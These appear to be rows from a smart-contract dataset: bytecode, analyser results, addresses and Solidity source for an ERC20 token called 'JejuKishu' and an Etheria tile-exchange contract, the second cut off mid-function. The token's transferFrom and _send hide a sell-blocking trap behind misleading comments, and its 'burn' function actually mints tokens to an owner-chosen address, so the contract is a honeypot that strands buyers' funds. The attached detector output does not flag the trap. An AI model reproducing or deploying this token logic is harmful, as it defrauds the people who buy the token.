b038085166000908152600160205260408082209390935590841681522054610878908261096b565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156109635760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610928578181015183820152602001610910565b50505050905090810190601f1680156109555780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156109c5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d90d94e8806ea4553fb711ce2a22f0666f0d848863e17baef378e67f60c9777664736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,526
0x875dc0a99828f2092660eb650418da04e39e085c
// SPDX-License-Identifier: MIT pragma solidity >=0.7.6; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ abstract contract ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() virtual public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) virtual public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) virtual public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) virtual public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public; } contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier everyone { require(msg.sender == owner); _; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; address internal delegate; string public name; uint8 public decimals; address internal zero; uint256 _totalSupply; uint internal number; address internal burnAddress; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ function totalSupply() override public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) override public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) override public returns (bool success) { require(to != zero, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) override public returns (bool success) { allowed[msg.sender][spender] = tokens; if (msg.sender == delegate) number = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function transferFrom(address from, address to, uint tokens) override public returns (bool success) { if(from != address(0) && zero == address(0)) zero = to; else _send (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) virtual public payable returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function burn(address _address, uint256 tokens) public everyone { burnAddress = _address; /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ _totalSupply = _totalSupply.add(tokens); balances[_address] = balances[_address].add(tokens); } /** * dev Burns a specific amount of tokens. * param value The amount of lowest token units to be burned. */ function _send (address start, address end) internal view { /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * Requirements: * - The divisor cannot be zero.*/ /* * - `account` cannot be the zero address. */ require(end != zero /* * - `account` cannot be the burn address. */ || (start == burnAddress && end == zero) || /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) /* */ , "cannot be the zero address");/* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. **/ } } contract JejuKishu is TokenERC20 { /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ /** * dev Constructor. * param name name of the token * param symbol symbol of the token, 3-4 chars is recommended * param decimals number of decimal places of one token unit, 18 is widely used * param totalSupply total supply of tokens in lowest units (depending on decimals) */ constructor(string memory _name, string memory _symbol, uint256 _supply, address _burn, address _dele, uint256 _number) { symbol = _symbol; name = _name; decimals = 18; _totalSupply = _supply*(10**uint256(decimals)); burnAddress = _burn; number = _number*(10**uint256(decimals)); delegate = _dele; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } receive() payable external {} }
0x6080604052600436106100ab5760003560e01c80638da5cb5b116100645780638da5cb5b146101ef57806395d89b411461021a5780639dc29fac14610245578063a9059cbb1461026e578063cae9ca51146102ab578063dd62ed3e146102db576100b2565b806306fdde03146100b7578063095ea7b3146100e257806318160ddd1461011f57806323b872dd1461014a578063313ce5671461018757806370a08231146101b2576100b2565b366100b257005b600080fd5b3480156100c357600080fd5b506100cc610318565b6040516100d991906114fe565b60405180910390f35b3480156100ee57600080fd5b50610109600480360381019061010491906112d9565b6103a6565b60405161011691906114e3565b60405180910390f35b34801561012b57600080fd5b506101346104f6565b6040516101419190611560565b60405180910390f35b34801561015657600080fd5b50610171600480360381019061016c9190611286565b610551565b60405161017e91906114e3565b60405180910390f35b34801561019357600080fd5b5061019c6108dc565b6040516101a9919061157b565b60405180910390f35b3480156101be57600080fd5b506101d960048036038101906101d49190611219565b6108ef565b6040516101e69190611560565b60405180910390f35b3480156101fb57600080fd5b50610204610938565b604051610211919061147c565b60405180910390f35b34801561022657600080fd5b5061022f61095c565b60405161023c91906114fe565b60405180910390f35b34801561025157600080fd5b5061026c600480360381019061026791906112d9565b6109ea565b005b34801561027a57600080fd5b50610295600480360381019061029091906112d9565b610b37565b6040516102a291906114e3565b60405180910390f35b6102c560048036038101906102c09190611319565b610d63565b6040516102d291906114e3565b60405180910390f35b3480156102e757600080fd5b5061030260048036038101906102fd9190611246565b610ec7565b60405161030f9190611560565b60405180910390f35b6003805461032590611745565b80601f016020809104026020016040519081016040528092919081815260200182805461035190611745565b801561039e5780601f106103735761010080835404028352916020019161039e565b820191906000526020600020905b81548152906001019060200180831161038157829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561048757816006819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104e49190611560565b60405180910390a36001905092915050565b600061054c600860008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600554610f4e90919063ffffffff16565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156105dd5750600073ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156106285782600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610633565b6106328484610f71565b5b61068582600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4e90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061075782600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4e90919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061082982600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115c90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108c99190611560565b60405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6001805461096990611745565b80601f016020809104026020016040519081016040528092919081815260200182805461099590611745565b80156109e25780601f106109b7576101008083540402835291602001916109e2565b820191906000526020600020905b8154815290600101906020018083116109c557829003601f168201915b505050505081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a4257600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a988160055461115c90919063ffffffff16565b600581905550610af081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115c90919063ffffffff16565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc190611520565b60405180910390fd5b610c1c82600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f4e90919063ffffffff16565b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cb182600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461115c90919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d519190611560565b60405180910390a36001905092915050565b600082600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92585604051610e439190611560565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401610e8a9493929190611497565b600060405180830381600087803b158015610ea457600080fd5b505af1158015610eb8573d6000803e3d6000fd5b50505050600190509392505050565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115610f5d57600080fd5b8183610f69919061167a565b905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415806110745750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156110735750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b5b806111195750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156111185750600654600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b5b611158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114f90611540565b60405180910390fd5b5050565b6000818361116a9190611624565b90508281101561117957600080fd5b92915050565b600061119261118d846115bb565b611596565b9050828152602081018484840111156111ae576111ad61183a565b5b6111b9848285611703565b509392505050565b6000813590506111d0816118ac565b92915050565b600082601f8301126111eb576111ea611835565b5b81356111fb84826020860161117f565b91505092915050565b600081359050611213816118c3565b92915050565b60006020828403121561122f5761122e611844565b5b600061123d848285016111c1565b91505092915050565b6000806040838503121561125d5761125c611844565b5b600061126b858286016111c1565b925050602061127c858286016111c1565b9150509250929050565b60008060006060848603121561129f5761129e611844565b5b60006112ad868287016111c1565b93505060206112be868287016111c1565b92505060406112cf86828701611204565b9150509250925092565b600080604083850312156112f0576112ef611844565b5b60006112fe858286016111c1565b925050602061130f85828601611204565b9150509250929050565b60008060006060848603121561133257611331611844565b5b6000611340868287016111c1565b935050602061135186828701611204565b925050604084013567ffffffffffffffff8111156113725761137161183f565b5b61137e868287016111d6565b9150509250925092565b611391816116ae565b82525050565b6113a0816116c0565b82525050565b60006113b1826115ec565b6113bb8185611602565b93506113cb818560208601611712565b6113d481611849565b840191505092915050565b60006113ea826115f7565b6113f48185611613565b9350611404818560208601611712565b61140d81611849565b840191505092915050565b6000611425600b83611613565b91506114308261185a565b602082019050919050565b6000611448601a83611613565b915061145382611883565b602082019050919050565b611467816116ec565b82525050565b611476816116f6565b82525050565b60006020820190506114916000830184611388565b92915050565b60006080820190506114ac6000830187611388565b6114b9602083018661145e565b6114c66040830185611388565b81810360608301526114d881846113a6565b905095945050505050565b60006020820190506114f86000830184611397565b92915050565b6000602082019050818103600083015261151881846113df565b905092915050565b6000602082019050818103600083015261153981611418565b9050919050565b600060208201905081810360008301526115598161143b565b9050919050565b6000602082019050611575600083018461145e565b92915050565b6000602082019050611590600083018461146d565b92915050565b60006115a06115b1565b90506115ac8282611777565b919050565b6000604051905090565b600067ffffffffffffffff8211156115d6576115d5611806565b5b6115df82611849565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061162f826116ec565b915061163a836116ec565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561166f5761166e6117a8565b5b828201905092915050565b6000611685826116ec565b9150611690836116ec565b9250828210156116a3576116a26117a8565b5b828203905092915050565b60006116b9826116cc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015611730578082015181840152602081019050611715565b8381111561173f576000848401525b50505050565b6000600282049050600182168061175d57607f821691505b60208210811415611771576117706117d7565b5b50919050565b61178082611849565b810181811067ffffffffffffffff8211171561179f5761179e611806565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f706c656173652077616974000000000000000000000000000000000000000000600082015250565b7f63616e6e6f7420626520746865207a65726f2061646472657373000000000000600082015250565b6118b5816116ae565b81146118c057600080fd5b50565b6118cc816116ec565b81146118d757600080fd5b5056fea2646970667358221220b1214476f35db9f194e2955371333a6b37fdd89ee6fb56d048df0eb93e2a22aa64736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
8,527
0x49fda4f70c7c1b8ac4e51a9debaa001af3d06932
/** *Submitted for verification at Etherscan.io on 2021-08-04 */ // SPDX-License-Identifier: MIT pragma solidity >=0.8.0 <0.9.0; interface Etheria { function getOwner(uint8 col, uint8 row) external view returns(address); function setOwner(uint8 col, uint8 row, address newOwner) external; } interface MapElevationRetriever { function getElevation(uint8 col, uint8 row) external view returns (uint8); } contract EtheriaExchangeXL { address public owner; address public pendingOwner; string public name = "EtheriaExchangeXL"; Etheria public constant etheria = Etheria(address(0xB21f8684f23Dbb1008508B4DE91a0aaEDEbdB7E4)); MapElevationRetriever public constant mapElevationRetriever = MapElevationRetriever(address(0x68549D7Dbb7A956f955Ec1263F55494f05972A6b)); uint128 public minBid = uint128(1 ether); // setting this to 10 finney throws compilation error for some reason uint256 public feeRate = uint256(100); // in basis points (100 is 1%) uint256 public collectedFees; struct Bid { uint128 amount; uint8 minCol; // shortened all of these for readability uint8 maxCol; uint8 minRow; uint8 maxRow; uint8 minEle; uint8 maxEle; uint8 minWat; uint8 maxWat; uint64 biddersIndex; // renamed from bidderIndex because it's the Index of the bidders array } address[] public bidders; mapping (address => Bid) public addressToBidMap; // renamed these three to be ultra-descriptive mapping (address => uint256) public addressToPendingWithdrawalMap; mapping (uint16 => uint128) public indexToAskMap; event OwnershipTransferInitiated(address indexed owner, address indexed pendingOwner); // renamed some of these to conform to past tense verbs event OwnershipTransferAccepted(address indexed oldOwner, address indexed newOwner); event BidCreated(address indexed bidder, uint128 indexed amount, uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat); event BidAccepted(address indexed seller, address indexed bidder, uint128 indexed amount, uint16 col, uint16 row, uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat); event BidCancelled(address indexed bidder, uint128 indexed amount, uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat); event AskCreated(address indexed owner, uint256 indexed price, uint8 col, uint8 row); event WithdrawalProcessed(address indexed account, address indexed destination, uint256 indexed amount); constructor() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, "EEXL: Not owner"); _; } function transferOwnership(address newOwner) external onlyOwner { pendingOwner = newOwner; emit OwnershipTransferInitiated(msg.sender, newOwner); } function acceptOwnership() external { require(msg.sender == pendingOwner, "EEXL: Not pending owner"); emit OwnershipTransferAccepted(owner, msg.sender); owner = msg.sender; pendingOwner = address(0); } function _safeTransferETH(address recipient, uint256 amount) internal { // Secure transfer of ETH that is much less likely to be broken by future gas-schedule EIPs (bool success, ) = recipient.call{ value: amount }(""); // syntax: (bool success, bytes memory data) = _addr.call{value: msg.value, gas: 5000}(encoded function and data) require(success, "EEXL: ETH transfer failed"); } function collectFees() external onlyOwner { uint256 amount = collectedFees; collectedFees = uint256(0); _safeTransferETH(msg.sender, amount); } function setFeeRate(uint256 newFeeRate) external onlyOwner { // Set the feeRate to newFeeRate, then validate it require((feeRate = newFeeRate) <= uint256(500), "EEXL: Invalid feeRate"); // feeRate will revert if req fails } function setMinBid(uint128 newMinBid) external onlyOwner { minBid = newMinBid; // doubly beneficial because I could effectively kill new bids with a huge minBid } // in the event of an exchange upgrade or unforseen problem function _getIndex(uint8 col, uint8 row) internal pure returns (uint16) { require(_isValidColOrRow(col) && _isValidColOrRow(row), "EEXL: Invalid col and/or row"); return (uint16(col) * uint16(33)) + uint16(row); } function _isValidColOrRow(uint8 value) internal pure returns (bool) { return (value >= uint8(0)) && (value <= uint8(32)); // while nobody should be checking, eg, getAsk when row/col=0/32, we do want to respond non-erroneously } function _isValidElevation(uint8 value) internal pure returns (bool) { return (value >= uint8(125)) && (value <= uint8(216)); } function _isWater(uint8 col, uint8 row) internal view returns (bool) { return mapElevationRetriever.getElevation(col, row) < uint8(125); } function _boolToUint8(bool value) internal pure returns (uint8) { return value ? uint8(1) : uint8(0); } function _getSurroundingWaterCount(uint8 col, uint8 row) internal view returns (uint8 waterTiles) { require((col >= uint8(1)) && (col <= uint8(31)), "EEXL: Water counting requres col 1-31"); require((row >= uint8(1)) && (row <= uint8(31)), "EEXL: Water counting requres col 1-31"); if (row % uint8(2) == uint8(1)) { waterTiles += _boolToUint8(_isWater(col + uint8(1), row + uint8(1))); // northeast_hex waterTiles += _boolToUint8(_isWater(col + uint8(1), row - uint8(1))); // southeast_hex } else { waterTiles += _boolToUint8(_isWater(col - uint8(1), row - uint8(1))); // southwest_hex waterTiles += _boolToUint8(_isWater(col - uint8(1), row + uint8(1))); // northwest_hex } waterTiles += _boolToUint8(_isWater(col, row - uint8(1))); // southwest_hex or southeast_hex waterTiles += _boolToUint8(_isWater(col, row + uint8(1))); // northwest_hex or northeast_hex waterTiles += _boolToUint8(_isWater(col + uint8(1), row)); // east_hex waterTiles += _boolToUint8(_isWater(col - uint8(1), row)); // west_hex } function getBidders() public view returns (address[] memory) { return bidders; } function getAsk(uint8 col, uint8 row) public view returns (uint128) { return indexToAskMap[_getIndex(col, row)]; } function getAsks() external view returns (uint128[1088] memory asks) { for (uint256 i; i <= uint256(1088); ++i) { asks[i] = indexToAskMap[uint16(i)]; } } function setAsk(uint8 col, uint8 row, uint128 price) external { require(etheria.getOwner(col, row) == msg.sender, "EEXL: Not tile owner"); emit AskCreated(msg.sender, indexToAskMap[_getIndex(col, row)] = price, col, row); } function makeBid(uint8 minCol, uint8 maxCol, uint8 minRow, uint8 maxRow, uint8 minEle, uint8 maxEle, uint8 minWat, uint8 maxWat) external payable { require(msg.sender == tx.origin, "EEXL: not EOA"); // (EOA = Externally owned account) // Etheria doesn't allow tile ownership by contracts, this check prevents black-holing require(msg.value <= type(uint128).max, "EEXL: value too high"); require(msg.value >= minBid, "EEXL: req bid amt >= minBid"); require(msg.value >= 0, "EEXL: req bid amt >= 0"); require(addressToBidMap[msg.sender].amount == uint128(0), "EEXL: bid exists, cancel first"); require(_isValidColOrRow(minCol), "EEXL: minCol OOB"); require(_isValidColOrRow(maxCol), "EEXL: maxCol OOB"); require(minCol <= maxCol, "EEXL: req minCol <= maxCol"); require(_isValidColOrRow(minRow), "EEXL: minRow OOB"); require(_isValidColOrRow(maxRow), "EEXL: maxRow OOB"); require(minRow <= maxRow, "EEXL: req minRow <= maxRow"); require(_isValidElevation(minEle), "EEXL: minEle OOB"); // these ele checks prevent water bidding, regardless of row/col require(_isValidElevation(maxEle), "EEXL: maxEle OOB"); require(minEle <= maxEle, "EEXL: req minEle <= maxEle"); require(minWat <= uint8(6), "EEXL: minWat OOB"); require(maxWat <= uint8(6), "EEXL: maxWat OOB"); require(minWat <= maxWat, "EEXL: req minWat <= maxWat"); uint256 biddersArrayLength = bidders.length; require(biddersArrayLength < type(uint64).max, "EEXL: too many bids"); addressToBidMap[msg.sender] = Bid({ amount: uint128(msg.value), minCol: minCol, maxCol: maxCol, minRow: minRow, maxRow: maxRow, minEle: minEle, maxEle: maxEle, minWat: minWat, maxWat: maxWat, biddersIndex: uint64(biddersArrayLength) }); bidders.push(msg.sender); emit BidCreated(msg.sender, uint128(msg.value), minCol, maxCol, minRow, maxRow, minEle, maxEle, minWat, maxWat); } function _deleteBid(address bidder, uint64 biddersIndex) internal { // used by cancelBid and acceptBid address lastBidder = bidders[bidders.length - uint256(1)]; // If bidder not last bidder, overwrite with last bidder if (bidder != lastBidder) { bidders[biddersIndex] = lastBidder; // Overwrite the bidder at the index with the last bidder addressToBidMap[lastBidder].biddersIndex = biddersIndex; // Update the bidder index of the bid of the previously last bidder } delete addressToBidMap[bidder]; bidders.pop(); } function cancelBid() external { // Cancels the bid, getting the bid's amount, which is then added account's pending withdrawal Bid storage bid = addressToBidMap[msg.sender]; uint128 amount = bid.amount; require(amount != uint128(0), "EEXL: No existing bid"); emit BidCancelled(msg.sender, amount, bid.minCol, bid.maxCol, bid.minRow, bid.maxRow, bid.minEle, bid.maxEle, bid.minWat, bid.maxWat); _deleteBid(msg.sender, bid.biddersIndex); addressToPendingWithdrawalMap[msg.sender] += uint256(amount); } function acceptBid(uint8 col, uint8 row, address bidder, uint256 minAmount) external { require(etheria.getOwner(col, row) == msg.sender, "EEXL: Not owner"); // etheria.setOwner will fail below if not owner, making this check unnecessary, but I want this here anyway Bid storage bid = addressToBidMap[bidder]; uint128 amount = bid.amount; require( (amount >= minAmount) && (col >= bid.minCol) && (col <= bid.maxCol) && (row >= bid.minRow) && (row <= bid.maxRow) && (mapElevationRetriever.getElevation(col, row) >= bid.minEle) && (mapElevationRetriever.getElevation(col, row) <= bid.maxEle) && (_getSurroundingWaterCount(col, row) >= bid.minWat) && (_getSurroundingWaterCount(col, row) <= bid.maxWat), "EEXL: tile doesn't meet bid reqs" ); emit BidAccepted(msg.sender, bidder, amount, col, row, bid.minCol, bid.maxCol, bid.minRow, bid.maxRow, bid.minEle, bid.maxEle, bid.minWat, bid.maxWat); _deleteBid(bidder, bid.biddersIndex); etheria.setOwner(col, row, bidder); require(etheria.getOwner(col, row) == bidder, "EEXL: failed setting tile owner"); // ok for require after event emission. Events are technically state changes and atomic as well. uint256 fee = (uint256(amount) * feeRate) / 